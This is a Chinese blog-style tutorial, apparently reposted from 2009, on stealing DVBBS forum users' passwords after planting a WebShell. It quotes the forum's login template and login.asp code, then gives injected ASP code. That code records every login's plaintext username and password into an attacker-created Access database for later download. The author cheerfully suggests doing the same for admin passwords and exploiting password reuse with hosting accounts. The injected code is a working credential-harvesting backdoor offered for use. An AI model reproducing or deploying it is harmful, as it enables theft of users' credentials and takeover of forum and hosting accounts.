首页 电脑 电脑学堂 查看内容

截取动网论坛的用户密码

2009-2-8 04:59 555 0

摘要: 大家知道,DVBBS的密码是经过MD5加密的,基本上得到了数据库也是很难破解的,最近动网的漏洞很多,相信大家也得到很多的WebShell的吧,至于如何利用,可能不是很多...
关键词: nbsp DVBBS cookies 密码 request TempStr path username Then mobile

大家知道,DVBBS的密码是经过MD5加密的,基本上得到了数据库也是很难破解的,最近动网的漏洞很多,相信大家也得到很多的WebShell的吧,至于如何利用,可能不是很多人清楚,得到数据库的路径,下载?然后密码是加密的,我是没办法破解,可能有人说,利用WebShell可以做很多的事情,是的,有时候确实是这样的,然后现在的虚拟主机能做的时候却很少,毕竟现在大部分的论坛都是买的空间,所以安全问题对于空间提供商也一定会考虑到的,下面我就以我的一个截取动网BBS密码的例子说明一下,其实也是很简单的,不怕你不会,就怕你想不到。  通过动网的漏洞上传一个WebShell,这个大家都知道怎么做了,我就不说了,得到WebShell,发现自己的权限低得要死,只能浏览本用户的文件夹,无法删除文件,无法重新命名文件,得到的权限只能是上传和编辑,我就用这点权限得到用户的密码。     新建一个数据库,如下:因为我们只要得到用户的用户名和密码,所以简单了一点,在本地安装一个动网BBS,进入管理界面,外观设置—— 风格界面模板总管理——分页面模板(page_index) ,template.html(2)获取官方数据,在里面发现如下的代码:<!--index.asp##首页顶部表格未登录-->   欢迎您访问{ $forumname },您还没有[<a href=http://www.7747.net/Article/200411/reg.asp class=cblue>注册<a>]或[<a href=login.asp class=cblue>登录<a>]<br>    <table cellspacing=0 cellpadding=0 align=center>    <form action=login.asp?action=chk method=post>    <tr><td class=tablebody1 height=40 width="100%">   用户姓名:<input maxLength=16 name=username size=12>{ $getcode }<br>   用户密码:<input maxLength=20 name=password size=12 type=password>    <select name=CookieDate><option selected v alue=0>不保存<option><option v alue=1>保存一天<option><option v alue=2>保存一月<option><option v alue=3>保存一年<option><select> <input type=submit name=submit v alue="登录">    <td><tr>    <form>    { $isray }    <table>    ||    <FORM METHOD=POST ACTION="login.asp?action=chk">    <tr><td class=tablebody1 height=40 width="100%">    <a href=http://www.7747.net/Article/200411/boardhelp.asp>阳光会员<a>:<input maxLength=16 name=mobile size=12 v alue=13><input type=submit name=submit v alue="阳光会员快速注册"><td><tr><FORM> 现在已经很清楚,把得到的用户名和密码发往login.asp?action=chk文件进行验证,我们就要它了,呵呵,打开login.asp文件,发现代码如下:Function Dvbbs_ChkLogin      Dim UserIP   Dim username   Dim userclass   Dim password   Dim article   Dim usercookies   Dim mobile   Dim chrs,i   If Dvbbs.forum_setting(79)="1" Then   If Not Dvbbs.CodeIsTrue() Then   Response.redirect "showerr.asp?ErrCodes=<li>验证码校验失败,请返回刷新页面后再输入验证码。&action=OtherErr"   End If   End If   UserIP=Dvbbs.UserTrueIP   mobile=trim(Dvbbs.CheckStr(request("mobile")))   if mobile<>"" and request("username")="" then   if len(mobile)<>11 then   Dvbbs.AddErrCode(9)   end if   end if   if mobile<>"" then   if len(mobile)<>11 then mobile=""   end if   If request("username")="" Then   If request("mobile")="" Then   Dvbbs.AddErrCode(10)   End If   Else   username=trim(Dvbbs.CheckStr(request("username")))   End If   If request("password")="" and mobile="" Then   Dvbbs.AddErrCode(11)   Else   password=md5(trim(Dvbbs.CheckStr(request("password"))),16)   End If   If Dvbbs.ErrCodes<>"" Then Exit Function   usercookies=request("CookieDate")   '判断更新cookies目录   Dim cookies_path_s,cookies_path_d,cookies_path   cookies_path_s=split(Request.ServerVariables("PATH_INFO"),"/")   cookies_path_d=ubound(cookies_path_s)   cookies_path="/"   For i=1 to cookies_path_d-1   If not (cookies_path_s(i)="upload" or cookies_path_s(i)="admin") Then cookies_path=cookies_path&cookies_path_s(i)&"/"   Next   If dvbbs.cookiepath<>cookies_path Then   cookies_path=replace(cookies_path,"'","")   Dvbbs.execute("update dv_setup set Forum_Cookiespath='"&cookies_path&"'")   Dim setupData    Dvbbs.CacheData(26,0)=cookies_path   Dvbbs.Name="setup"   Dvbbs.v alue=Dvbbs.CacheData   End If   If ChkUserLogin(username,password,mobile,usercookies,1)=false Then   '本地验证未通过,使用手机号登录的   If mobile<>"" Then   challenge_check mobile,password   Exit Function   '本地验证未通过,使用用户名登录的,并且是高级用户则继续主服务器验证流程   Else   set chrs=Dvbbs.Execute("select UserMobile,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1")   If chrs.eof and chrs.bof Then   Dvbbs.AddErrCode(12)   Exit Function   Else   challenge_check chrs("UserMobile"),password   Exit Function   End If   set chrs=nothing   End If   End If      Dim comeurlname   If instr(lcase(request("comeurl")),"reg.asp")>0 or instr(lcase(request("comeurl")),"login.asp")>0 or trim(request("comeurl"))="" Then   comeurlname=""   comeurl="index.asp"   Else   comeurl=request("comeurl")   comeurlname="<li><a href="&request("comeurl")&">"&request("comeurl")&"<a><li>"   End If      Dim TempStr   TempStr = template.html(2)   If Dvbbs.Forum_ChanSetting(0)=1 And Dvbbs.Forum_ChanSetting(10)=1 And Dvbbs.Forum_ChanSetting(12)=1 Then   TempStr = Replace(TempStr,"{ $ray_logininfo }",template.html(3))   Else   TempStr = Replace(TempStr,"{ $ray_logininfo }","")   End If   TempStr = Replace(TempStr,"{ $comeurl }",comeurl)   TempStr = Replace(TempStr,"{ $comeurlinfo }",comeurlname)   TempStr = Replace(TempStr,"{ $forumname }",Dvbbs.Forum_Info(0))   Response.Write TempStr   TempStr=""      End Function 这是它的验证方式,我就不说了,我要在它验证的前面得到它的密码,所以,我在Function Dvbbs_ChkLogin后面加上Code: dim dbpath,rstmp,str,rs,con    set con=server.createobject("adodb.connection")    DBPath = Server.MapPath("example.mdb")    con.Open "driver={ Microsoft Access Driver (*.mdb) };dbq=" & DBPath             set rstmp=server.createobject("adodb.recordset")       username = Request.form("username")    password = Request.form("password")       str="insert Into User (username,password) v alues('"& username &"','"& password &"')"    con.execute(str) 这样,用户登陆的用户名和密码就保存在我建立的数据库example.mdb中了,以后只要下载它就可以得到用户名和密码,而且不会出现什么错误的提示,呵呵,真好至于得到了密码能做什么??呵呵,不要问我,我也不知道,这个密码完全是明文的,现在大部分管理员都是很懒的,前台和后台密码一样,其实用相同的办法我们也可以取得后台的密码,我没时间做下去了,你感兴趣你来!!!  其实我最希望看见的情况就是,管理员的密码和购买空间时用的密码是一样的,呵呵,又有空间用了,好啊。。。。。。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部